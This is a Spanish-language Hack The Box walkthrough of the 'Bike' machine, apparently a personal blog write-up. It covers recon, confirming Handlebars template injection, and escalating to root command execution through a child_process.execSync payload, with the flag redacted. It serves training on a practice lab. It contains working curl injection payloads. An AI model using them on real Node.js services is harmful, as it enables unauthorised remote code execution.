Bike — HTB Start Point

Dificultad: Very Easy · SO: Linux · Tema: SSTI en Handlebars (Node.js/Express) hasta RCE como root

La que más me hizo sufrir de las fáciles — y por eso la que más enseñó.

Reconocimiento

nmap -p- -sV -sC <IP>

nmap

Servidor Linux con Node.js en el sitio web. Verifico con curl y wget — tengo un web server como víctima:

web

Fingerprinting del stack (prefiero whatweb, pero Wappalyzer da lo mismo — va en gustos):

whatweb <IP>
[200 OK] HTML5, JQuery[2.2.4], Title[Bike], X-Powered-By[Express]

whatweb

El sitio "en construcción" tiene un formulario que pide un email. Esa pista directa apunta al vector: el input viaja al backend sin sanear.

Confirmación del vector: SSTI

Payload de prueba clásico:

curl -X POST "http://<IP>" -d 'email={{7*7}}'

El error devuelto confirma el motor:

Payload Resultado Motor confirmado
{{7*7}} Error Handlebars Handlebars

ssti confirmado

Enumeración del contexto

Metodología ordenada con outputs a archivo para no perder nada:

mkdir -p ~/htb/Bike/SSTI-testing && cd ~/htb/Bike/SSTI-testing
curl -X POST "http://<IP>" -d 'id={{this}}' > 01_this.txt
curl -X POST "http://<IP>" -d 'id={{process.mainModule.filename}}' > 05_path.txt

Referencia de payloads: PayloadsAllTheThings — sección JavaScript/Handlebars.

El stack trace reveló algo interesante: doble procesamiento de templates (compile() → resultado → compile()), lo que explicaba por qué payloads directos devolvían undefined.

La herramienta que destrabó todo: Caido

Después de varias pruebas a ciegas, opté por trabajar con Caido (proxy tipo Burp, me resulta más cómodo). Scope definido por proyecto, captura enfocada en el punto de inyección:

caido scope

Capturo la petición POST real, Ctrl+R al Repeater y pruebo el payload encodeado — después de varios intentos de encoding, el cometido:

payload encodeado

El payload completo (URL-encoded) ejecuta:

process.mainModule.require('child_process').execSync('<comando>').toString()

Primero id — ejecución de comandos como root confirmada:

rce

Luego ls -la /root:

listado root

Y finalmente el cat /root/flag.txt con el mismo vector, obteniendo la flag de root (redactada en esta versión pública):

Lecciones